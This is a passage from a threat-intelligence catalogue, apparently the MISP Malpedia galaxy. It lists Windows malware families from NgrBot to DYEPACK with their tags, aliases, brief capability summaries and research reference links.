https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/
https://www.heise.de/news/Uniklinik-Duesseldorf-Ransomware-DoppelPaymer-soll-hinter-dem-Angriff-stecken-4908608.html

https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://www.bleepingcomputer.com/news/security/ransomware-attackers-use-your-cloud-backups-against-you/
https://www.bleepingcomputer.com/news/security/three-more-ransomware-families-create-sites-to-leak-stolen-data/
https://www.bleepingcomputer.com/news/security/foxconn-electronics-giant-hit-by-ransomware-34-million-ransom/
https://www.ic3.gov/Media/News/2020/201215-1.pdf
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/
https://twitter.com/vikas891/status/1385306823662587905
https://redcanary.com/blog/grief-ransomware/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/
https://lifars.com/wp-content/uploads/2022/01/GriefRansomware_Whitepaper-2.pdf
https://medium.com/s2wlab/operation-synctrek-e5013df8d167
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://sites.temple.edu/care/ci-rw-attacks/
https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/
https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf
https://www.hornetsecurity.com/en/security-informationen-en/leakware-ransomware-hybrid-attacks/
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://www.bleepingcomputer.com/news/security/laptop-maker-compal-hit-by-ransomware-17-million-demanded/
http://www.secureworks.com/research/threat-profiles/gold-heron
https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/
https://www.zdnet.com/article/ransomware-gang-says-it-breached-one-of-nasas-it-contractors/
https://www.mandiant.com/resources/financially-motivated-actors-are-expanding-access-into-ot

https://www.crowdstrike.com/blog/how-doppelpaymer-hunts-and-kills-windows-processes/
https://www.fireeye.com/blog/threat-research/2020/07/financially-motivated-actors-are-expanding-access-into-ot.html
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://twitter.com/BrettCallow/status/1453557686830727177?s=20
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf
https://www.secureworks.com/research/threat-profiles/gold-heron
https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://twitter.com/AltShiftPrtScn/status/1385103712918642688
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/
https://www.zscaler.com/blogs/security-research/doppelpaymer-continues-cause-grief-through-rebranding
https://techcrunch.com/2020/03/01/visser-breach/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/
https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/
https://www.trendmicro.com/en_us/research/21/a/an-overview-of-the-doppelpaymer-ransomware.html
https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer

NgrBot

The tag is: *misp-galaxy:malpedia="NgrBot"*

NgrBot is also known as:

Table 2060. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dorkbot_ngrbot
https://blog.trendmicro.com/trendlabs-security-intelligence/the-dorkbot-rises/
https://krebsonsecurity.com/2019/10/mariposa-botnet-author-darkcode-crime-forum-admin-arrested-in-germany/
http://stopmalvertising.com/rootkits/analysis-of-ngrbot.html
https://research.checkpoint.com/dorkbot-an-investigation/

Dorshel

The tag is: *misp-galaxy:malpedia="Dorshel"*

Dorshel is also known as:

Table 2061. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dorshel
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/dragonfly-energy-sector-cyber-attacks
https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group

Dot Ransomware

The tag is: *misp-galaxy:malpedia="Dot Ransomware"*

Dot Ransomware is also known as:

- MZP Ransomware

Table 2062. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dot_ransomware
https://dissectingmalwa.re/nice-decorating-let-me-guess-satan-dot-mzp-ransomware.html

DOUBLEBACK

The tag is: *misp-galaxy:malpedia="DOUBLEBACK"*

DOUBLEBACK is also known as:

Table 2063. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doubleback
https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html

DoubleFantasy (Windows)

The tag is: *misp-galaxy:malpedia="DoubleFantasy (Windows)"*

DoubleFantasy (Windows) is also known as:

- VALIDATOR

Table 2064. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefantasy
https://securelist.com/equation-the-death-star-of-malware-galaxy/68750/
https://fmnagisa.wordpress.com/2020/08/27/revisiting-equationgroups-fanny-worm-or-dementiawheel/
https://twitter.com/Int2e_/status/1294565186939092994

DoublePulsar

The tag is: *misp-galaxy:malpedia="DoublePulsar"*

DoublePulsar is also known as:

Table 2065. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doublepulsar
https://github.com/countercept/doublepulsar-c2-traffic-decryptor
https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/
https://www.symantec.com/blogs/threat-intelligence/buckeye-windows-zero-day-exploit
https://labs.nettitude.com/blog/a-quick-analysis-of-the-latest-shadow-brokers-dump/

DoubleZero

A wiper identified by CERT-UA on March 17th, written in C#.

The tag is: *misp-galaxy:malpedia="DoubleZero"*

DoubleZero is also known as:

* FiberLake

Table 2066. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.doublezero
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war
https://cybersecurity.att.com/blogs/labs-research/analysis-on-recent-wiper-attacks-examples-and-how-they-wiper-malware-works
https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya
https://securelist.com/new-ransomware-trends-in-2022/106457/
https://www.esentire.com/blog/esentire-threat-intelligence-malware-analysis-doublezero
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/overview-of-the-cyber-weapons-used-in-the-ukraine-russia-war/
https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://www.nextgov.com/cybersecurity/2022/03/ukrainian-cyber-lead-least-4-types-malware-are-targeting-ukrainian-institutions/363558/
https://www.splunk.com/en_us/blog/security/threat-update-doublezero-destructor.html
https://cert.gov.ua/article/38088
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE4Vwwd
https://www.fortinet.com/blog/threat-research/the-increasing-wiper-malware-threat
https://blog.talosintelligence.com/2022/03/threat-advisory-doublezero.html

Downdelph

The tag is: *misp-galaxy:malpedia="Downdelph"*

Downdelph is also known as:

* DELPHACY

Table 2067. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.downdelph
https://labs.sentinelone.com/a-deep-dive-into-zebrocys-dropper-docs/
https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection
https://contagiodump.blogspot.de/2017/02/russian-apt-apt28-collection-of-samples.html

http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf

Downeks

The tag is: *misp-galaxy:malpedia="Downeks"*

Downeks is also known as:

Table 2068. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.downeks
https://unit42.paloaltonetworks.com/molerats-delivers-spark-backdoor/
http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments/?adbsc=social69739136&adbid=826218465723756545&adbpl=tw&adbpr=4487645412

DownPaper

DownPaper, sometimes delivered as sami.exe, is a Backdoor trojan. Its main functionality is to download and run a second stage. This malware has been observed in campaigns involving Charming Kitten, an Iranian cyberespionage group.

The tag is: *misp-galaxy:malpedia="DownPaper"*

DownPaper is also known as:

Table 2069. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.downpaper
https://www.infinitumit.com.tr/apt-35/
http://www.clearskysec.com/charmingkitten/
https://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf

DramNudge

The tag is: *misp-galaxy:malpedia="DramNudge"*

DramNudge is also known as:

Table 2070. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dramnudge

DRATzarus

The tag is: *misp-galaxy:malpedia="DRATzarus"*

DRATzarus is also known as:

Table 2071. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dratzarus
http://blog.nsfocus.net/stumbzarus-apt-lazarus/
https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf

DreamBot

2010 Gozi v2.0, Gozi ISFB, ISFB, Pandemyia(*) 2014 Dreambot (Gozi ISFB variant)

In 2014, a variant of Gozi ISFB was developed. Mainly, the dropper performs additional anti-vm checks (vmware, vbox, qemu), while the actual bot-dll remains unchanged in most parts. New functionality, such as TOR support, was added though and often, the Fluxxy fast-flux network is used.

See win.gozi for additional historical information.

The tag is: *misp-galaxy:malpedia="DreamBot"*

DreamBot is also known as:

Table 2072. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dreambot
https://community.riskiq.com/article/30f22a00
https://medium.com/csis-techblog/the-end-of-dreambot-a-loved-piece-of-gozi-24cc9bfc8122
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality
https://www.youtube.com/watch?v=EyDiIAt*dI[https://www.youtube.com/watch?v=EyDiIAt*dI]
https://research.checkpoint.com/2020/gozi-the-malware-with-a-thousand-faces/
https://medium.com/csis-techblog/installcapital-when-adware-becomes-pay-per-install-cyber-crime-15516249a451
https://lokalhost.pl/gozi_tree.txt

Dridex

OxCERT blog describes Dridex as "an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another. For this reason, network-based measures such as blocking the C&C IPs is effective only in the short-term." According to MalwareBytes, "Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware. However, once new versions of Microsoft Office came out and users generally updated, such a threat subsided because it was no longer simple to infect a user with this method." IBM X-Force discovered "a new version of the Dridex banking Trojan that takes advantage of a code injection technique called AtomBombing to infect systems. AtomBombing is a technique for injecting malicious code into the 'atom tables' that almost all versions of Windows uses to store certain application data. It is a variation of typical code injection attacks that take advantage of input validation errors to insert and to execute malicious code in a legitimate process or application. Dridex v4 is the first malware that uses the AtomBombing process to try and infect systems."

The tag is: *misp-galaxy:malpedia="Dridex"*

Dridex is also known as:

Table 2073. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex
https://github.com/pan-unit42/tweets/blob/master/2020-09-07-Dridex-IOCs.txt
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://adalogics.com/blog/the-state-of-advanced-code-injections
https://blog.lexfo.fr/dridex-malware.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/log4j-vulnerabilities-attacks
https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://securityintelligence.com/dridex-campaign-propelled-by-cutwail-botnet-and-powershell/
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://assets.virustotal.com/reports/2021trends.pdf
https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp
https://votiro.com/blog/anatomy-of-a-well-crafted-ups-fedex-and-dhl-phishing-email-during-covid-19/
https://unit42.paloaltonetworks.com/travel-themed-phishing/

https://viql.github.io/dridex/
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://malcat.fr/blog/cutting-corners-against-a-dridex-downloader/
http://www.secureworks.com/research/threat-profiles/gold-drake
https://thedfirreport.com/2020/08/03/dridex-from-word-to-domain-dominance/
https://threatresearch.ext.hp.com/detecting-ta551-domains/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
http://www.secureworks.com/research/threat-profiles/gold-heron
https://www.sentinelone.com/labs/sanctions-be-damned-from-dridex-to-macaw-the-evolution-of-evil-corp/
https://twitter.com/Cryptolaemus1/status/1407135648528711680
https://www.justice.gov/opa/pr/officials-announce-international-operation-targeting-transnational-criminal-organization
https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://www.blueliv.com/downloads/documentation/reports/Network_insights_of_Dyre_and_Dridex_Trojan_bankers.pdf
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://news.sophos.com/en-us/2022/02/23/dridex-bots-deliver-entropy-ransomware-in-recent-attacks/
https://www.secureworks.com/research/threat-profiles/gold-drake
https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/
https://killingthebear.jorgetesta.tech/actors/evil-corp
https://blogs.blackberry.com/en/2021/08/blackberry-prevents-threat-actor-group-ta575-and-dridex-malware
https://unit42.paloaltonetworks.com/wireshark-tutorial-decrypting-https-traffic/
https://news.sophos.com/en-us/2020/02/18/nearly-a-quarter-of-malware-now-communicates-using-tls/
https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://www.cert.pl/en/news/single/talking-dridex-part-0-inside-the-dropper/
https://www.proofpoint.com/us/blog/security-briefs/threat-actors-pair-tax-themed-lures-covid-19-healthcare-themes
https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf
https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/

https://threatresearch.ext.hp.com/dridex-malicious-document-analysis-automating-the-extraction-of-payload-urls/
https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://www.govcert.admin.ch/blog/28/the-rise-of-dridex-and-the-role-of-esps
https://www.atomicmatryoshka.com/post/malware-headliners-dridex
https://community.riskiq.com/article/2cd1c003
https://medium.com/walmartglobaltech/wastedloader-or-dridexloader-4f47c9b3ae77
https://muha2xmad.github.io/unpacking/dridex/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://home.treasury.gov/news/press-releases/sm845
https://www.microsoft.com/security/blog/2021/02/01/what-tracking-an-attacker-email-infrastructure-tells-us-about-persistent-cybercriminal-operations/
https://www.flashpoint-intel.com/blog-dridex-banking-trojan-returns/
https://github.com/rad9800/talks/blob/main/MALWARE_MADNESS.pdf
https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf
https://www.cert.ssi.gouv.fr/ioc/CERTFR-2020-IOC-003/
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://intel471.com/blog/a-brief-history-of-ta505
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://gaissecurity.com/uploads/csirt/EN-Dridex-banking-trojan.pdf
https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/
https://medium.com/s2wlab/operation-synctrek-e5013df8d167
https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf
https://aaqeel01.wordpress.com/2021/02/07/dridex-malware-analysis/
https://securelist.com/analysis/publications/78531/dridex-a-history-of-evolution/
https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office
https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex

https://reaqta.com/2020/06/dridex-the-secret-in-a-postmessage/
https://en.wikipedia.org/wiki/Maksim_Yakubets
https://twitter.com/felixw3000/status/1382614469713530883?s=20
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://unit42.paloaltonetworks.com/excel-add-ins-dridex-infection-chain
https://www.youtube.com/watch?v=1VB15_HgUkg
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf
https://www.secureworks.com/research/threat-profiles/gold-heron
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://malwarebookreports.com/cryptone-cobalt-strike/
https://www.intel471.com/blog/cybercrime-russia-china-iran-nation-state
https://www.pandasecurity.com/mediacenter/src/uploads/2017/10/Informe_Dridex_Revisado_FINAL_EN-2.pdf
https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://blogs.vmware.com/networkvirtualization/2021/03/analysis-of-a-new-dridex-campaign.html/
https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much
https://artik.blue/malware3
https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/
https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf
https://securityintelligence.com/dridexs-cold-war-enter-atombombing/
https://www.appgate.com/blog/reverse-engineering-dridex-and-automating-ioc-extraction
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://cdn2.hubspot.net/hubfs/507516/ANB_MIR_Dridex_PRv7_final.pdf
https://twitter.com/TheDFIRReport/status/1356729371931860992
https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/
https://inquest.net/blog/2021/12/20/dont-bring-dridex-home-holidays

https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://intel471.com/blog/privateloader-malware
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-005.pdf
https://www.prodaft.com/m/uploads/SilverFish_TLPWHITE.pdf
https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-rich-headers-leveraging-mysterious-artifact-pe-format/
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group
https://community.riskiq.com/article/e4fb7245
https://isc.sans.edu/forums/diary/Recent+Dridex+activity/26550/
https://cyber-anubis.github.io/malware%20analysis/dridex/
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dridex-financial-trojan.pdf
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

DRIFTPIN

Driftpin is a small and simple backdoor that enables the attackers to assess the victim. When executed the trojan connects to a C&C server and receives commands to grab screenshots, enumerate running processes and get information about the system and campaign ID.

The tag is: *misp-galaxy:malpedia="DRIFTPIN"*

DRIFTPIN is also known as:

- Spy.Agent.ORM
- Toshliph

Table 2074. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.driftpin
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf
https://www.secureworks.com/research/threat-profiles/gold-niagara
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html
https://www.welivesecurity.com/2015/09/08/carbanak-gang-is-back-and-packing-new-guns/

Dripion

The tag is: *misp-galaxy:malpedia="Dripion"*

Dripion is also known as:

- Masson

Table 2075. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dripion
https://www.symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan

DriveOcean

Communicates via Google Drive.

The tag is: *misp-galaxy:malpedia="DriveOcean"*

DriveOcean is also known as:

- Google Drive RAT

Table 2076. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.driveocean
https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html

DropBook

DropBook is a backdoor developed by the Molerats group and first appeared in late 2020. The backdoor abuses Facebook and Dropbox platforms for C2 purposes, where fake Facebook accounts are used by the operators to control the backdoor by posting commands on the accounts.

The tag is: *misp-galaxy:malpedia="DropBook"*

DropBook is also known as:

Table 2077. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dropbook
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

https://www.cybereason.com/blog/new-malware-arsenal-abusing-cloud-platforms-in-middle-east-espionage-campaign

DROPSHOT

The tag is: *misp-galaxy:malpedia="DROPSHOT"*

DROPSHOT is also known as:

Table 2078. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dropshot
https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-1/
https://www.megabeets.net/decrypting-dropshot-with-radare2-and-cutter-part-2/
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

Dtrack

Dtrack is a Remote Administration Tool (RAT) developed by the Lazarus group. Its core functionality includes operations to upload a file to the victim's computer, download a file from the victim's computer, dump disk volume data, persistence and more.

A variant of Dtrack was found on Kudankulam Nuclear Power Plant (KNPP) which was used for a targeted attack.

The tag is: *misp-galaxy:malpedia="Dtrack"*

Dtrack is also known as:

- TroyRAT

Table 2079. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dtrack
https://twitter.com/ShadowChasing1/status/1399369260577681426?s=20
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.cyberbit.com/dtrack-apt-malware-found-in-nuclear-power-plant/
https://securelist.com/andariel-deploys-dtrack-and-maui-ransomware/107063/
https://blog.macnica.net/blog/2020/11/dtrack.html

https://securelist.com/apt-trends-report-q3-2020/99204/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/
https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/dtrack_lazarus_group.md
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://securelist.com/my-name-is-dtrack/93338/
https://marcoramilli.com/2019/11/04/is-lazarus-apt38-targeting-critical-infrastructures/

DualToy (Windows)

The tag is: *misp-galaxy:malpedia="DualToy (Windows)"*

DualToy (Windows) is also known as:

Table 2080. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dualtoy
https://researchcenter.paloaltonetworks.com/2016/09/dualtoy-new-windows-trojan-sideloads-risky-apps-to-android-and-ios-devices/

DarkHotel

The tag is: *misp-galaxy:malpedia="DarkHotel"*

DarkHotel is also known as:

Table 2081. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dubnium_darkhotel
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2/3/
https://www.reuters.com/article/us-health-coronavirus-who-hack-exclusive/exclusive-elite-hackers-target-who-as-coronavirus-cyberattacks-spike-idUSKBN21A3BN
http://blog.jpcert.or.jp/2016/06/asruex-malware-infecting-through-shortcut-files.html
https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/

DUBrute

The tag is: *misp-galaxy:malpedia="DUBrute"*

DUBrute is also known as:

Table 2082. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dubrute
https://github.com/ch0sys/DUBrute

DUCKTAIL

According to Tony Lambert, this is a malware written in .NET. It was observed to be delivered using the .NET Single File deployment feature.

The tag is: *misp-galaxy:malpedia="DUCKTAIL"*

DUCKTAIL is also known as:

Table 2083. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail
https://forensicitguy.github.io/analyzing-net-core-single-file-ducktail/
https://labs.withsecure.com/assets/BlogFiles/Publications/WithSecure_Research_DUCKTAIL.pdf

Dumador

The tag is: *misp-galaxy:malpedia="Dumador"*

Dumador is also known as:

Table 2084. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dumador

DuQu

The tag is: *misp-galaxy:malpedia="DuQu"*

DuQu is also known as:

Table 2085. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.duqu
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf

https://securelist.com/blog/research/70504/the-mystery-of-duqu-2-0-a-sophisticated-cyberespionage-actor-returns/
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet_research.pdf
https://docs.broadcom.com/doc/w32-duqu-11-en

DUSTMAN

In 2019, multiple destructive attacks were observed targeting entities within the Middle East. The National Cyber Security Centre (NCSC), a part of the National Cybersecurity Authority (NCA), detected a new malware named "DUSTMAN" that was detonated on December 29, 2019. Based on analyzed evidence and artifacts found on machines in a victim’s network that were not wiped by the malware. NCSC assess that the threat actor behind the attack had some kind of urgency on executing the files on the date of the attack due to multiple OPSEC failures observed on the infected network. NCSC is calling the malware used in this attack "DUSTMAN" after the filename and string embedded in the malware. "DUSTMAN" can be considered as a new variant of "ZeroCleare" malware, published in December 2019.

The tag is: *misp-galaxy:malpedia="DUSTMAN"*

DUSTMAN is also known as:

Table 2086. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dustman
https://www.linkedin.com/posts/iasrar_dustman-report-in-english-activity-6619216346083393537-NV1z/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://swapcontext.blogspot.com/2020/01/dustman-apt-art-of-copy-paste.html
https://twitter.com/Irfan_Asrar/status/1213544175355908096
https://www.scribd.com/document/442225568/Saudi-Arabia-CNA-report

Duuzer

The tag is: *misp-galaxy:malpedia="Duuzer"*

Duuzer is also known as:

- Escad

Table 2087. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.duuzer
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf
https://www.secureworks.com/research/threat-profiles/nickel-academy
https://www.symantec.com/connect/blogs/wannacry-ransomware-attacks-show-strong-links-lazarus-group

DYEPACK

The tag is: *misp-galaxy:malpedia="DYEPACK"*

DYEPACK is also known as:

- swift

Table 2088. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dyepack
https://media.ccc.de/v/froscon2021-2670-der_cyber-bankraub_von_bangladesch
https://securelist.com/blog/sas/77908/lazarus-under-the-hood/
